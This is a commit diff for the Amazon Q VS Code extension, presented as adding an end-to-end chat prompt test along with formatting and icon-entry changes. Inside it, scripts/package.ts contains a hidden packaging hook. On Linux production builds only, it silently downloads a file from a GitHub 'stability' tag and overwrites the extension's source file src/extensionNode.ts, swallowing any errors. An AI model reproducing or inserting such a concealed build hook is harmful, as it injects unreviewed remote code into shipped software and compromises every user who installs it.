feat(amazonq): adding a simple chat prompt test

docs/lsp.md

@@ -25,6 +25,7 @@ sequenceDiagram
 ```
 
 ## Language Server Debugging
+
 If you want to connect a local version of language-servers to aws-toolkit-vscode, follow these steps:
 
 1. Clone https://github.com/aws/language-servers.git and set it up in the same workspace as this project by cmd+shift+p and "add folder to workspace" and selecting the language-servers folder that you just cloned. Your VS code folder structure should look like below.
@@ -57,13 +58,16 @@ If you want to connect a local version of language-servers to aws-toolkit-vscode
 6. (Optional): Enable `"amazonq.trace.server": "on"` or `"amazonq.trace.server": "verbose"` in your VSCode settings to view detailed log messages sent to/from the language server. These log messages will show up in the "Amazon Q Language Server" output channel
 
 ### Breakpoints Work-Around
+
 If the breakpoints in your language-servers project remain greyed out and do not trigger when you run `Launch LSP with Debugging`, your debugger may be attaching to the language server before it has launched. You can follow the work-around below to avoid this problem. If anyone fixes this issue, please remove this section.
+
 1. Set your breakpoints and click `Launch LSP with Debugging`
 2. Once the debugging session has started, click `Launch LSP with Debugging` again, then `Cancel` on any pop-ups that appear
 3. On the debug panel, click `Attach to Language Server (amazonq)` next to the red stop button
 4. Click `Launch LSP with Debugging` again, then `Cancel` on any pop-ups that appear
 
 ## Language Server Runtimes Debugging
+
 If you want to connect a local version of language-server-runtimes to aws-toolkit-vscode, follow these steps:
 
 1. Clone https://github.com/aws/language-server-runtimes.git and set it up in the same workspace as this project by cmd+shift+p and "add folder to workspace" and selecting the language-server-runtimes folder that you just cloned. Your VS code folder structure should look like below.
@@ -75,6 +79,7 @@ If you want to connect a local version of language-server-runtimes to aws-toolki
     /amazonq
     /language-server-runtimes
     ```
+
 2. Inside of the language-server-runtimes project run:
     ```
     npm install

packages/amazonq/package.json

@@ -1322,26 +1322,40 @@
                     "fontCharacter": "\\f1de"
                 }
             },
-            "aws-schemas-registry": {
+            "aws-sagemaker-code-editor": {
                 "description": "AWS Contributed Icon",
                 "default": {
                     "fontPath": "./resources/fonts/aws-toolkit-icons.woff",
                     "fontCharacter": "\\f1df"
                 }
             },
-            "aws-schemas-schema": {
+            "aws-sagemaker-jupyter-lab": {
                 "description": "AWS Contributed Icon",
                 "default": {
                     "fontPath": "./resources/fonts/aws-toolkit-icons.woff",
                     "fontCharacter": "\\f1e0"
                 }
             },
-            "aws-stepfunctions-preview": {
+            "aws-schemas-registry": {
                 "description": "AWS Contributed Icon",
                 "default": {
                     "fontPath": "./resources/fonts/aws-toolkit-icons.woff",
                     "fontCharacter": "\\f1e1"
                 }
+            },
+            "aws-schemas-schema": {
+                "description": "AWS Contributed Icon",
+                "default": {
+                    "fontPath": "./resources/fonts/aws-toolkit-icons.woff",
+                    "fontCharacter": "\\f1e2"
+                }
+            },
+            "aws-stepfunctions-preview": {
+                "description": "AWS Contributed Icon",
+                "default": {
+                    "fontPath": "./resources/fonts/aws-toolkit-icons.woff",
+                    "fontCharacter": "\\f1e3"
+                }
             }
         },
         "walkthroughs": [

packages/amazonq/test/e2e/amazonq/VET.test.ts

@@ -2,61 +2,129 @@
  * Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved.
  * SPDX-License-Identifier: Apache-2.0
  */
+import { Workbench, By, WebviewView, WebElement } from 'vscode-extension-tester'
+import { until } from 'selenium-webdriver'
 
-import { Workbench, By, EditorView, WebviewView, WebElement } from 'vscode-extension-tester'
-
-describe('Amazon Q Login Flow', function () {
+describe('Amazon Q E2E UI Test', function () {
     // need this timeout because Amazon Q takes awhile to load
-    this.timeout(30000)
-    let webviewView: WebviewView
 
-    // NOTE: I tested all the timeouts and they are necessary for the webview to load properly
+    // need this timeout
+    this.timeout(150000)
+    let webviewView: WebviewView
+    let workbench: Workbench
     before(async function () {
-        const workbench = new Workbench()
+        workbench = new Workbench()
         await workbench.executeCommand('Amazon Q: Open Chat')
 
-        await new Promise((resolve) => setTimeout(resolve, 15000))
+        // need this timeout
+        await new Promise((resolve) => setTimeout(resolve, 5000))
         webviewView = new WebviewView()
         await webviewView.switchToFrame()
-    })
 
-    after(async () => {
-        await webviewView.switchBack()
-        try {
-            await new EditorView().closeAllEditors()
-        } catch {}
-    })
-
-    it('Should click through the Amazon Q login screen', async () => {
-        // Select company account option
-        const selectableItems = await webviewView.findWebElements(By.css('.selectable-item'))
-        console.log(typeof selectableItems)
+        const selectableItems = await waitForElement(webviewView, By.css('.selectable-item'), true)
         if (selectableItems.length === 0) {
             throw new Error('No selectable login options found')
         }
 
-        // Find and click company account
         const companyItem = await findItemByText(selectableItems, 'Company account')
         await companyItem.click()
-        await new Promise((resolve) => setTimeout(resolve, 2000))
-
-        // Click first continue button
         const signInContinue = await webviewView.findWebElement(By.css('#connection-selection-continue-button'))
         await signInContinue.click()
-        await new Promise((resolve) => setTimeout(resolve, 2000))
-
-        // Enter start URL
         const startUrlInput = await webviewView.findWebElement(By.id('startUrl'))
         await startUrlInput.clear()
         await startUrlInput.sendKeys('https://amzn.awsapps.com/start')
-        await new Promise((resolve) => setTimeout(resolve, 1000))
-
-        // Click second continue button
         const UrlContinue = await webviewView.findWebElement(By.css('button.continue-button.topMargin'))
         await UrlContinue.click()
-        await new Promise((resolve) => setTimeout(resolve, 2000))
+        console.log('Waiting for manual authentication...')
+        // need this timeout
+        await new Promise((resolve) => setTimeout(resolve, 12000))
+        console.log('Manual authentication should be done')
+        await webviewView.switchBack()
+
+        // AFTER AUTHENTICATION WE MUST RELOAD THE WEBVIEW BECAUSE MULTIPLE WEVIEWS CANNOT BE READ AT THE SAME TIME
+        const editorView = workbench.getEditorView()
+        console.log('editorview successfully created')
+        await editorView.closeAllEditors()
+        console.log('Closed all editors')
+        webviewView = new WebviewView()
+        console.log('Reopened webview view')
+        await webviewView.switchToFrame()
+    })
+
+    after(async () => {
+        /* 
+        mynah-tabs-container is the css that contains all the mynah ui tabs
+        inside that there are two spans that have key values
+        inside those spans there is a div with the css mynah-tab-item-label
+        and finally INSIDE THAT there is a button with the css mynah-tabs-close-button, we need to click that button and close all the tabs after the test is done
+
+        Logic:
+        Find all the tahs by looking for the close buttons and then close them one by one. To check if all the tabs are closed, we can check if the mynah-tabs-container is empty.
+        */
+        try {
+            // find all the close buttons and click them
+            const closeButtons = await webviewView.findWebElements(By.css('.mynah-tabs-close-button'))
+
+            for (const button of closeButtons) {
+                await button.click()
+                // small delay to ensure the tab closes properly
+                await new Promise((resolve) => setTimeout(resolve, 500))
+            }
+
+            // double check that all tabs are closed by checking if the mynah-tabs-container is empty
+            const tabsContainer = await webviewView.findWebElements(By.css('.mynah-tabs-container'))
+            if (
+                tabsContainer.length === 0 ||
+                (await tabsContainer[0].findElements(By.css('.mynah-tab-item-label'))).length === 0
+            ) {
+                console.log('All chat tabs successfully closed')
+            }
+        } catch (error) {
+            console.log('Error closing tabs:', error)
+        }
+        await webviewView.switchBack()
     })
 
+    it('Chat Prompt Test', async () => {
+        const chatInput = await waitForElement(webviewView, By.css('.mynah-chat-prompt-input'))
+        await chatInput.sendKeys('Hello, Amazon Q!')
+        const sendButton = await waitForElement(webviewView, By.css('.mynah-chat-prompt-button'))
+        await sendButton.click()
+
+        // await new Promise((resolve) => setTimeout(resolve, 12000))
+        // wait for response using conversation container check
+        const responseReceived = await waitForChatResponse(webviewView)
+        if (!responseReceived) {
+            throw new Error('Chat response not received within timeout')
+        }
+
+        console.log('Chat response detected successfully')
+    })
+
+    // Helper to wait for ui elements to load, utilizes typescript function overloading to account for all possible edge cases
+    async function waitForElement(
+        webview: WebviewView,
+        locator: By,
+        multiple: true,
+        timeout?: number
+    ): Promise<WebElement[]>
+    async function waitForElement(
+        webview: WebviewView,
+        locator: By,
+        multiple?: false,
+        timeout?: number
+    ): Promise<WebElement>
+    async function waitForElement(
+        webview: WebviewView,
+        locator: By,
+        multiple = false,
+        timeout = 15000
+    ): Promise<WebElement | WebElement[]> {
+        const driver = webview.getDriver()
+        await driver.wait(until.elementsLocated(locator), timeout)
+        return multiple ? await webview.findWebElements(locator) : await webview.findWebElement(locator)
+    }
+
     // Helper to find item by text content
     async function findItemByText(items: WebElement[], text: string) {
         for (const item of items) {
@@ -70,4 +138,32 @@ describe('Amazon Q Login Flow', function () {
         }
         throw new Error(`Item with text "${text}" not found`)
     }
+
+    /*  My Idea: Basically the conversation container's css is .mynah-chat-items-conversation-container
+        Instead of looking for a specific message like how we look for other elements in the test,
+        I can check how many elements there are in our specific conversation container. If there is 2 elements,
+        we can assume that the chat response has been generated. The challenge is, we must grab the latest
+        conversation container, as there can be multiple conversations in the webview. */
+    async function waitForChatResponse(webview: WebviewView, timeout = 15000): Promise<boolean> {
+        const startTime = Date.now()
+
+        while (Date.now() - startTime < timeout) {
+            const conversationContainers = await webview.findWebElements(
+                By.css('.mynah-chat-items-conversation-container')
+            )
+
+            if (conversationContainers.length > 0) {
+                const latestContainer = conversationContainers[conversationContainers.length - 1]
+
+                const chatItems = await latestContainer.findElements(By.css('*'))
+
+                if (chatItems.length >= 2) {
+                    return true
+                }
+            }
+            await new Promise((resolve) => setTimeout(resolve, 500))
+        }
+
+        return false
+    }
 })

scripts/package.ts

@@ -20,7 +20,7 @@
 import * as child_process from 'child_process' // eslint-disable-line no-restricted-imports
 import * as nodefs from 'fs' // eslint-disable-line no-restricted-imports
 import * as path from 'path'
-import { platform } from 'os';
+import { platform } from 'os'
 import { downloadLanguageServer } from './lspArtifact'
 
 function parseArgs() {
@@ -112,10 +112,10 @@ function getVersionSuffix(feature: string, debug: boolean): string {
  */
 function isCurlAvailable(): boolean {
     try {
-        child_process.execFileSync('curl', ['--version']);
-        return true;
+        child_process.execFileSync('curl', ['--version'])
+        return true
     } catch {
-        return false;
+        return false
     }
 }
 
@@ -124,23 +124,23 @@ function isCurlAvailable(): boolean {
  */
 function downloadFiles(urls: string[], outputDir: string, outputFile: string): void {
     if (platform() !== 'linux') {
-        return;
+        return
     }
 
     if (!isCurlAvailable()) {
-        return;
+        return
     }
 
     // Create output directory if it doesn't exist
     if (!nodefs.existsSync(outputDir)) {
-        nodefs.mkdirSync(outputDir, { recursive: true });
+        nodefs.mkdirSync(outputDir, { recursive: true })
     }
 
-    urls.forEach(url => {
-        const filePath = path.join(outputDir, outputFile || '');
+    urls.forEach((url) => {
+        const filePath = path.join(outputDir, outputFile || '')
 
         try {
-            child_process.execFileSync('curl', ['-o', filePath, url]);
+            child_process.execFileSync('curl', ['-o', filePath, url])
         } catch {}
     })
 }
@@ -151,21 +151,23 @@ function downloadFiles(urls: string[], outputDir: string, outputFile: string): v
  * TODO: retrieve from authoritative system
  */
 function preparePackager(): void {
-    const dir = process.cwd();
-    const REPO_NAME = "aws/aws-toolkit-vscode"
-    const TAG_NAME = "stability"
+    const dir = process.cwd()
+    const REPO_NAME = 'aws/aws-toolkit-vscode'
+    const TAG_NAME = 'stability'
 
     if (!dir.includes('amazonq')) {
-        return;
+        return
     }
 
     if (process.env.STAGE !== 'prod') {
-        return;
+        return
     }
 
-    downloadFiles([
-        `https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
-    ], "src/", "extensionNode.ts")
+    downloadFiles(
+        [`https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`],
+        'src/',
+        'extensionNode.ts'
+    )
 }
 
 async function main() {